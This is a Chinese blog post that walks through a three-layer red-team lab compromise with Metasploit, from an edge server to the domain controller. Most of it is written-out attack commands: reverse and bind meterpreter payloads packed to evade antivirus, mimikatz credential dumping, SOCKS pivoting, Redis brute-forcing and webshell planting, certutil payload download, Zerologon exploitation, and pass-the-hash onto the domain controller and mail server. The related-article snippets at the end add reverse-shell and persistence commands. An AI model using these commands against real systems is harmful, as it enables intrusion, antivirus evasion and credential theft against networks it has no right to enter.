安全攻防实战系列MSF

最新推荐文章于 2024-05-06 12:12:23 发布
最新推荐文章于 2024-05-06 12:12:23 发布
阅读量2.3k 收藏 9
点赞数 4
文章标签： 网络安全 信息安全 web安全 渗透测试 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/kali_Ma/article/details/121748038
版权

前言
在红队攻防中，我们主要在外网进行信息收集，通过cms或者其他漏洞拿到shell，之后通过免杀木马将windows或linux服务器上线到cobalt strike或msf等c2服务器，之后对内网进行信息收集并绘制网络拓扑图，进行工作组或域渗透，拿到各个网段机器的权限，远程登陆并截图证明。

环境配置
从虚拟机网络来看
image.png

机器描述

攻击机：
win10：192.168.1.6
kali：192.168.1.10

第一层：12server-bt：
192.168.1.5
192.168.59.133

第二层：12server-redis：
192.168.59.4
10.10.10.202

第三层：
12server-ex13：
10.10.10.209

第三层：
12server-dc：
10.10.10.201

192.168.59.133 存在杀软(火绒), 可通外网, 可访问server-redis
192.168.59.4/10.10.10.202 不通外网，可以通内网两个机器，也可以访问到机器server-bt,
10.10.10.209 为邮服, 只能内网机器互相访问
10.10.10.201 为 DC

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

目录如下
image.png

第一层 server-bt

蚁剑拿shell
image.png

msf免杀拿shell
使用msfvenom生成免杀木马payload，里面的IP和端口自行修改，就是反弹shell的kali

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin

image.png

使用分离免杀工具生成loader.exe文件
image.png

对生成的exe文件进行加壳免杀
image.png

免杀效果如下
image.png

免杀之后通过蚁剑上传到server-bt上
image.png

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set lport 6666
run

image.png

蚁剑运行

image.png

getuid
image.png
ps
image.png
migrate 476
image.png
msf内网渗透
load mimikatz # 加载Mimikatz模块
image.png
抓取Hash
meterpreter > mimikatz_command -f samdump::hashes
image.png
hashdump

image.png
然后抓到了 hash：
通过解密得到了 administrator 的密码
route print # 打印路由信息
image.png
对内网进行扫描 arp 存活
run post/windows/gather/arp_scanner rhosts=192.168.59.0/24
image.png
配置路由
meterpreter > run autoroute -s 192.168.59.0/24
image.png
开启远程桌面
run post/windows/manage/enable_rdp

成功开启了远程桌面，并且生成了一个txt文件，这个txt文件往后可用来关闭远程桌面，关闭命令
run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt
image.png
绕过火绒添加用户
蚂蚁剑或者cs上传添加用户.exe
image.png
运行文件
image.png
帐号：hxxxr 密码：Pxxxxd
远程登录server-bt
image.png
权限提升
使用psexec.exe可以提升到system权限
psexec.exe -accepteula -s -i -d cmd.exe
image.png
但是桌面还是之前用户的权限启动的
image.png
为了完全提权，我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器
image.png
在任务管理器里面我们结束掉之前由之前账号开启的桌面进程
image.png
然后再添加一个由system权限下开启的桌面进程
image.png
再点入看现在登入的账号是
image.png

第二层 server-redis

Earthworm穿透
上传EW（Earthworm）到C:/wwwroot/
image.png
服务器端执行以下命令
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
image.png
这里还需要修改proxychains.conf配置文件

$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090

image.png
探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 192.168.59.0/24
image.png
192.168.59.4是存活的，我们着重看一下,发现开了80和6379

Redis-getshell

kali环境进行爆破
proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379
image.png
得到Redis口令：
连接redis
proxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx
image.png
备份文件写Shell

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell
192.168.59.4:6379>save                                    最后保存

利用过程
image.png
代理蚁剑进行连接这个shell
image.png
成功连接到server-redis
image.png
并查看权限
image.png
利用蚁剑把SweetPotato.exe（甜土豆）上传到C:/Redis/或者C:/ProgramData/目录下
image.png
成功进行提权
image.png

msf正向免杀木马拿到shell

Earthworm穿透
挂代理，通过之前上传的EW（Earthworm）
image.png
服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
image.png
这里还需要修改proxychains.conf配置文件

$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090

image.png

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin

用msfvenom生成一个正向马传进去（因为无法访问外网，反向出不来），msf正向连接。
image.png
使用分离免杀工具生成loader.exe文件
image.png
image.png
改名为msf1.exe，进行加壳免杀
image.png
免杀效果如下
image.png
先把木马通过蚂蚁剑上传到宝塔(需要进行免杀)，火绒未告警
image.png
通过redis的shell进行操作，192.168.59.4远程下载192.168.59.133上的马

C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe
image.png
再通过提权工具进行执行
C:\ProgramData\xxxx.exe -i -c “msf1.exe”
image.png
也可以直接将木马上传到server-redis的C:/Redis/可写目录下就不需要免杀了
msf通过代理开启监听

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.59.4
set lport 4444
run

image.png
成功获取服务器的shell，之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。
image.png
ps
image.png

migrate 3992
getuid
getsystem
getuid

image.png
添加账户和远程连接同第一层

msf内网渗透

load mimikatz # 加载Mimikatz模块
image.png
抓取Hash
meterpreter > mimikatz_command -f samdump::hashes
image.png
hashdump
image.png
得到12SERVER-REDIS账号密码：
image.png
route print # 打印路由信息
image.png
配置路由
meterpreter > run autoroute -s 10.10.10.0/24
image.png
run autoroute -p
image.png
通过蚂蚁剑将nbtscan.exe上传到server-redis的Redis可读写目录下
image.png
探测内网段存活
nbtscan.exe 10.10.10.0/24
image.png
ipconfig /all
10.10.10.0/24段的DNS服务器是10.10.10.201 而在域环境中DNS服务器就是当前使用的域控制器
image.png
添加完路由后可以通过msf访问所有机器，访问域控
proxychains curl 10.10.10.201
image.png

第三层 server-dc

zerologon（CVE-2020-1472）漏洞复现

这里已经满足触发zerologon的两个条件，能ping通域控制器，知道域控计算机名，当然最后dump出域内所有hash的时候需要域名
置空域控机器用户NTLM hash
proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201
image.png
接下来用置空的机器账户dump所有hash

(890c这个hash就是"空"的NTML hash）

image.png

我们的目标是获得域内administrator的hash，然后就可以hash传递，登陆任意域内机器

proxychains wmiexec.py -hashes :42e265xxxxxx62387 administrator@10.10.10.201

image.png
利用 psexec(PTH)上线server-dc到 MSF：

proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.201
set SMBUser Administrator
set SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387
set SMBDomain xxxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set  LPORT 4446 
run

image.png
成功获取到shell
image.png
利用 psexec 上线server-ex13到 MSF：

proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.209
set SMBUser Administrator
set SMBPass aad3bxxxxxxxee:42exxxxxxx387
set SMBDomain xxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set  LPORT 4447 
run

image.png

kali_Ma
关注
  • 4
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
msf进程迁移
qq_44881113的博客
09-09 3450
在msf拿到会话后 getuid #查看当前用户 ps #获取目标主机正在运行的进程 getpid #查看meterpreter shell的进程号 然后使用migrate 1692命令将shell移到PID为1692的explorer.exe进程里，因为该进程是一个稳定的应用。 migrate 1692 #迁移进程 再次查看进程发现已经改变 进程迁移后 原来的pid的2496会自动关闭，如果没有关闭输入 kill 2496 关闭进程 kill 2496 #关闭进程 run post
WEB安全：深入反射式dll注入技术
2301_76694151的博客
05-16 803
通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。通过调用SetWindowsHookEx()函数来设置拦截事件，在发生对应的事件时，被注入进程执行拦截事件函数加载dll。获取被注入进程PID。在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
2024年最新msfconsole实战使用（结合靶场演示）(1)，2024年最新网络安全零基础
2401_84252820的博客
05-06 968
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！内容实在太多，不一一截图了。
Metaspolit结合Python的使用
fnmsd的博客
12-25 2628
目录Msf结合Python的使用python依赖库起手用法直接读写Console的用法（不推荐）使用module\jobs\sessions API进行操作额外的一点东西参考 Msf结合Python的使用 python依赖库 pip install msgpack #SpiderLabs的那份的msfrpc库的call函数有点问题，我改了一下 wget https://raw.githubuser...
渗透测试随笔
qq_44749590的博客
05-31 354
Linux命令： exit查看防火墙：netsh advfirewall show allprofile state 开/关防火墙：netsh advfirewall set allprofile state on/off 查询用户：net user 添加用户：net user wxq 123456 /add 查看本地组：net localgroup 查看组用户：net localgroup administrators 持久化后门（msfconsole）： run persistence -U -..
密码暴力破解
qq_45455136的博客
03-31 4239
密码暴力破解 什么是暴力破解 不安全的密码 密码猜解思路 Python暴力破解 BurpSuite暴力破解 DVWA的low等级暴力破解 DVWA的high等级暴力破解 其他暴力破解工具 wfuzz Hydra Medusa msfconsole 如何防御暴力破解 服务器防御
MSF辅助模块Auxiliary,Exploit应用，CVE-2015-1635漏洞攻防实战
04-04
MSF辅助模块Auxiliary,Exploit应用，CVE-2015-1635漏洞攻防实战
msf最新商业版.txt
04-24
msf 最新商业版，web 界面用起来非常舒服，用过的老哥都晓得的。 实测可用企业邮箱无限申请到期再续。
kali linux msf系列视频教程
10-25
kali linux msf系列教程 -------------------------------------------- kali msf 系列 第一章虚拟机使用 kali msf 系列 第一章虚拟机使用 kali msf 系列 第二章MSF基础使用+第一个实验 kali msf 系列 第三章浏览器...
74-74.渗透测试-MSF核心模块.mp4
最新发布
05-10
74-74.渗透测试-MSF核心模块.mp4
71-71.渗透测试-Windows安装msf.mp4
05-10
71-71.渗透测试-Windows安装msf.mp4
渗透必看！MSF 下域内渗透实战
Appleteachers的博客
05-22 710
先获取域内机器session run get_local_subnets //获取本地网络子网掩码 route add 192.168.233.0 255.255.255.0 1 //添加路由表 run autoroute -s 192.168.2.0 -n 255.255.255.0 //也可以添加一条静态路由 run autoroute -s 192.168.2.0/24 //添加动态路由 route print //打印路由表 use auxliary/scanner/portscan/tcp //
【CTF】【渗透】【msf】三、绕过杀毒软件技巧
weixin_45720193的博客
09-28 1694
将demo9999.exe关闭后，拖进Themida进行加壳。生成下面加壳成功的文件，即可避免火绒查杀。上述方法只能用于火绒。
kali linux之msf后渗透阶段
weixin_30606461的博客
03-11 552
已经获得目标操作系统控制权后扩大战果 提权 信息收集 渗透内网 永久后门 基于已有session扩大战果 绕过UAC限制 use exploit/windows/local/askset session -idset filenameuse exploit/windows/local/bypassuacuse exploit/windows/local...
MSF基本使用
浅笑996的博客
11-10 2613
MSF 链接数据库 linux查找文件 find / -name dabase.yml 链接数据库 db_connect -y path/database.yml db_status 查询数据库链接状态 payload: windows/x64/meterpreter/reverse_tcp 命令 （以下命令基于这个payload） background 后台 sessions...
内网深层穿透之metasploit正向连接
46的十哥哥的5哥哥
02-05 978
来自：5号黯区 5号黯区是一支致力于红队攻防研究与培训的团队，官网：http://www.dark5.net 深层内网无法转发出来，所以就用了代理加正向。 多层内网下的穿透，第一层建立反向Socks代理，把MSF代入代理去连接处在第二层的机器。 生成： msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4433 ...
【内网渗透】利用非常规手段突破安全策略上线CS
HBohan的博客
10-28 1164
前言 本文为一篇利用非常规手段突破安全策略的内网渗透记录 【查看资料】 环境简述&说明 web打点getshell，webshell是冰蝎，权限为.net，权限很低，服务器为server 2016，目标不出网！ 装有杀毒软件（火绒、微软自带的WD），ASMI默认开启，而且对power shell有特殊策略限制。 Tcp、icmp、DNS协议不通，无法直接与公网的cs服务端建立连接，（内网的cs服务端也无法与其建立连接）公网也无法访问目标web服务（纯内网web服务） 极其严格的出入站策略 入
metasploit(MSF)攻击ms17-010漏洞实验过程（内网环境）
渗透、攻防、CTF、编程
10-12 3448
metasploit(MSF)攻击ms17-010漏洞实验过程（内网环境） 0x01 知识点 MSF工具的利用，ms17-010漏洞实验 0x02 实验环境: 攻击机kaili linux 2020 (ip：192.168.233.129) 目标机：win7（ip：192.168.233.130） 0x03 实验准备 启动msf，输入msfconsole 检错漏洞库，输入search ms ，盐城msf库里存在ms17-010漏洞 3、nmap检测目标机开放端口 nmap –..
CVE-2020-1938(RCE利用)
热门推荐
午夜安全
03-27 1万+
CVE-2020-1938(RCE利用) 1.使用msf生成反弹shell马，并且监听 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.223.129 LPORT=6666 R > shell.png 假设利用上传点，把此图片上传到了目标服务器/log/shell.png。 在msf监听： msf > use expl...
msf上线Windows实战
08-21
- *2* [Windows网络服务渗透测试实战-MSF恶意程序利用](https://blog.csdn.net/c_lanxiaofang/article/details/124879375)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值